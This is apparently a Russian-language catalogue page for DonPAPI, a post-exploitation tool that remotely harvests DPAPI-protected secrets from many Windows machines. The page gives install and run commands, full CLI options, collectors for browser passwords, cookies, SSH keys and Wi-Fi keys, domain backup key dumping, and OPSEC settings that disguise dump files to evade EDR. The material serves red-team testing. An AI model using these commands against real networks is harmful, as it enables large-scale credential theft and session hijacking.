DonPAPI

Post-Exploitation vV1.2.0 · 11.12.2023 активный

Автоматизирует удалённое извлечение секретов, защищённых DPAPI, с нескольких Windows-компьютеров.

vV1.2.0
11.12.2023 current

Установка
git clone https://github.com/login-securite/DonPAPI.git
cd DonPAPI
pip install -r requirements.txt

# Пример запуска
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui
показать оригинал переведено ИИ

DonPAPI

DonPAPI автоматизирует удалённый сбор секретов на нескольких Windows-компьютерах, учитывая обход средств защиты.

DonPAPI Logo

Собираемые учётные данные: - Учётные данные, куки и токен обновления Chrome браузеров на основе Chromium - Сертификаты Windows - Диспетчер учётных данных - Учётные данные и куки браузера Firefox - Учётные данные Mobaxterm - Учётные данные MRemoteNg - Учётные данные RDC Manager - Файлы на рабочем столе и в папке «Недавние» - Учётные данные SCCM - Учётные данные хранилищ (Vaults) - Учётные данные VNC - Учётные данные Wi-Fi

Мы провели доклад на французском языке о DPAPI под названием DPAPI - Don't Put Administration Passwords In 🇫🇷: - Слайды

Оглавление

Установка

Этот инструмент рекомендуется устанавливать с помощью pipx или в выделенном виртуальном окружении

pipx install donpapi

или (с последними коммитами)

pipx install git+https://github.com/login-securite/DonPAPI.git

или (для разработки)

git clone git+https://github.com/login-securite/DonPAPI.git
cd DonPAPI
poetry update
poetry run DonPAPI

Быстрый старт

pipx install donpapi
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi gui

Использование

usage: DonPAPI [-h] [-v] [-o DIRNAME] {collect,gui} ...

Dump revelant information on compromised targets without AV detection. Version: 2.0.0

positional arguments:
  {collect,gui}         DonPAPI Action
    collect             Dump secrets on a target list
    gui                 Spawn a Flask webserver to crawl DonPAPI database

options:
  -h, --help            show this help message and exit
  -v                    Verbosity level (-v or -vv)
  -o DIRNAME, --output-directory DIRNAME
                        Output directory. Default is ~/.donpapi/loot/

collect

Этот режим используется для сбора секретов на целевых хостах, указанных в параметре -t.

usage: dpp collect [-h] [--keep-collecting seconds] [--threads Number of threads] [--no-config] [-t TARGET [TARGET ...]] [-d domain.local]
                   [-u username] [-p password] [-H LMHASH:NTHASH] [--no-pass] [-k] [--aesKey hex key] [--laps Administrator] [--dc-ip IP address]
                   [-r /home/user/.donpapi/recover/recover_1718281433] [-c COLLECTORS] [-nr] [--fetch-pvk] [--pvkfile PVKFILE]
                   [--pwdfile PWDFILE] [--ntfile NTFILE] [--mkfile MKFILE]

options:
  -h, --help            show this help message and exit
  --keep-collecting seconds
                        Rerun the attack against all targets after X seconds, X being the value
  --threads Number of threads
                        Number of threads (default: 50)
  --no-config           Do not load donpapi config file (~/.donpapi/donpapi.conf)

authentication:
  -t TARGET [TARGET ...], --target TARGET [TARGET ...]
                        the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, ALL to fetch every
                        computer hostnames from LDAP
  -d domain.local, --domain domain.local
                        Domain
  -u username, --username username
                        Username
  -p password, --password password
                        Password
  -H LMHASH:NTHASH, --hashes LMHASH:NTHASH
                        NTLM hashes, format is LMHASH:NTHASH
  --no-pass             don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid
                        credentials cannot be found, it will use the ones specified in the command line
  --aesKey hex key      AES key to use for Kerberos Authentication (1128 or 256 bits)
  --laps Administrator  use LAPS to request local admin password. The laps parameter value is the local admin account use to connect
  --dc-ip IP address    IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -r /home/user/.donpapi/recover/recover_1718281433, --recover-file /home/user/.donpapi/recover/recover_1718281433
                        The recover file path. If used, the other parameters will be ignored

attacks:
  -c COLLECTORS, --collectors COLLECTORS
                        Chromium, Certificates, CredMan, Files, Firefox, MobaXterm, MRemoteNG, RDCMan, SCCM, Vaults, VNC, Wifi, All (all
                        previous) (default: All)
  -nr, --no-remoteops   Disable Remote Ops operations (basically no Remote Registry operations, no DPAPI System Credentials)
  --fetch-pvk           Will automatically use domain backup key from database, and if not already dumped, will dump it on a domain controller
  --pvkfile PVKFILE     Pvk file with domain backup key
  --pwdfile PWDFILE     File containing username:password that will be used eventually to decrypt masterkeys
  --ntfile NTFILE       File containing username:nthash that will be used eventually to decrypt masterkeys
  --mkfile MKFILE       File containing {GUID}:SHA1 masterkeys mappings

Аутентификация

Аутентификация осуществляется путём указания домена с помощью --domain, имени пользователя с помощью --username и, при необходимости, пароля с помощью --password, хэша с помощью --hashes, ключа AES с помощью --aesKey или Kerberos-билета в формате ccache с помощью -k (в стиле Impacket). Также можно аутентифицироваться через LAPS на компьютере с помощью --laps и указать имя локального учётного записи LAPS в качестве значения для этого параметра.

Сбор данных

По умолчанию DonPAPI собирает: - Chromium: Учётные данные, куки и токен обновления Chrome браузеров на основе Chromium - Certificates: Сертификаты Windows - CredMan: Диспетчер учётных данных - Firefox: Учётные данные и куки браузера Firefox - MobaXterm: Учётные данные Mobaxterm - MRemoteNg: Учётные данные MRemoteNg - RDCMan: Учётные данные RDC Manager - Files: Файлы на рабочем столе и в папке «Недавние» - SCCM: Учётные данные SCCM - Vaults: Учётные данные хранилищ (Vaults) - VNC: Учётные данные VNC - Wifi: Учётные данные Wi-Fi - CloudCredentials: Учётные данные облачных сервисов - IDEProjects: Файлы проектов IDE - PasswordManagers: Файлы менеджеров паролей - PowerShellHistory: Файлы истории PowerShell - RecycleBin: Файлы из корзины - SSHSecrets: Секреты SSH (ключи) - VersionControlSystems: Файлы систем контроля версий (например, git)

Вы можете указать нужные модули для сбора с помощью --collectors (в стиле SharpHound). Если использовать --fetch-pvk, DonPAPI автоматически получит резервный ключ домена Active Directory и использует его для расшифровки мастер-ключей. В противном случае можно передать его через --pvkfile. Параметры --pwdfile, --ntfile используются для передачи секретов, необходимых для разблокировки мастер-ключей. Если у вас уже есть расшифрованные мастер-ключи, используйте --mkfile.

[!WARNING] Некоторые методы сбора требуют дампа секретов LSA (для получения DPAPI-ключа машины). Это действие может быть шумным, и современные EDR могут заблокировать его мгновенно. Вы можете использовать -nr, чтобы избежать выполнения таких шумных действий, но некоторые секреты не будут собраны.

OPSEC

DonPAPI теперь поддерживает файл конфигурации для настройки поведения Secretsdump. Этот файл будет находиться в ~/.donpapi/donpapi.conf, и по умолчанию он выглядит так:

[secretsdump]
share = C$
remote_filepath = \Users\Default\AppData\Local\Temp
filename_regex = \d{4}-\d{4}-\d{4}-[0-9]{4}
file_extension = .log

Восстановление

DonPAPI поддерживает восстановление из файла. Каждый раз при запуске команды collect будет сохраняться файл восстановления с оставшимися целями и всеми параметрами. По умолчанию файл находится в папке ~/.donpapi/register/.

Повторный сбор

Иногда при внутреннем тестировании вы хотите интенсивно работать с определёнными целями и собирать секреты с их компьютеров снова и снова. Не используйте глупые циклы в bash, просто используйте --keep-collecting X, где X — количество секунд ожидания между сеансами сбора.

gui

Веб-интерфейс

Функциональность


Теперь, когда вы собрали все эти секреты, вы хотите их проанализировать. DonPAPI позволяет вам просматривать все собранные секреты через веб-интерфейс. Чтобы запустить его, используйте donpapi gui.

usage: DonPAPI gui [-h] [--bind BIND] [--port PORT] [--ssl] [--basic-auth user:password]

options:
  -h, --help            show this help message and exit
  --bind BIND           HTTP Server bind address (default=127.0.0.1)
  --port PORT           HTTP Server port (default=8088)
  --ssl                 Use an encrypted connection
  --basic-auth user:password
                        Set up a basic auth

Веб-интерфейс

Общие сведения

На этом экране отобразятся все повторно используемые пароли SAM на всех собранных компьютерах, дампы запланированных задач и пароли учётных записей служб, извлечённые из LSA. Вы можете экспортировать их все в формате CSV.

Секреты

На этом экране отобразятся все секреты, собранные с помощью DonPAPI. Вы можете выполнять поиск по нескольким элементам и экспортировать секреты в CSV.

Куки

На этом экране отобразятся все куки, собранные с помощью DonPAPI. Вы можете выполнять поиск по нескольким элементам и экспортировать куки в CSV, а также копировать их в JavaScript-код, чтобы вставить в браузер.

Сертификаты

На этом экране отобразятся все сертификаты, собранные с помощью DonPAPI. Вы можете выполнять поиск по нескольким элементам и экспортировать сертификаты в CSV. Кроме того, если сертификат поддерживает аутентификацию клиента, то при нажатии на Да будет скопирована команда Certipy для использования сертификата.

Отказ от ответственности

Этот инструмент предназначен исключительно для образовательных целей и этичного хакинга. Login Sécurité не несет ответственности за злоупотребления, совершённые с помощью этого инструмента.

Функциональность

Фронтенд веб-интерфейса разработан на Vue3 + Vite.js, а бэкенд — на Python Flask.

По умолчанию он будет доступен по адресу http://127.0.0.1:8088, но вы можете настроить его так, как вам удобно, даже на https://0.0.0.0:443.

[!WARNING] Пожалуйста, никогда не открывайте доступ к DonPAPI для всей сети, это может быть очень опасно. DonPAPI поддерживает HTTPS с параметром --ssl, а также вы можете добавить базовую аутентификацию с помощью --basic-auth. Более того, никогда не открывайте доступ к DonPAPI в интернете.

При нажатии на значение в таблицах оно сразу копируется в буфер обмена.

В интерфейсе доступен флажок Скрыть пароли, который позволяет скрыть конфиденциальные данные в интерфейсе — идеально для скриншотов.

Благодарности

Вся заслуга принадлежит этим замечательным людям за их сложные исследования и код: - Benjamin Delpy за большую часть исследований DPAPI (всегда отлично прокомментировано, <3 ваш код) - Вся команда, работающая над Impacket (https://github.com/SecureAuthCorp/impacket). Почти всё, что мы делаем здесь, основано на Impacket. - Alessandro Z и все, кто работал над Lazagne (https://github.com/AlessandroZ/LaZagne/wiki) за модули VNC и Firefox, а также, вероятно, за многие другие в будущем. - dirkjanm за идею интерфейса в Roadtools и все его исследования. Я узнал так много по стольким темам благодаря вам. <3 - Byt3bl33d3r за CrackMapExec и всю команду, работающую над NetExec (много вдохновения и кода взято из проектов CME/NXC) - Вся команда Login Sécurité за их идеи и помощь в отладке моего плохого кода (особая благодарность @layno и @HackAndDo за это)

Войдите, чтобы оставить комментарий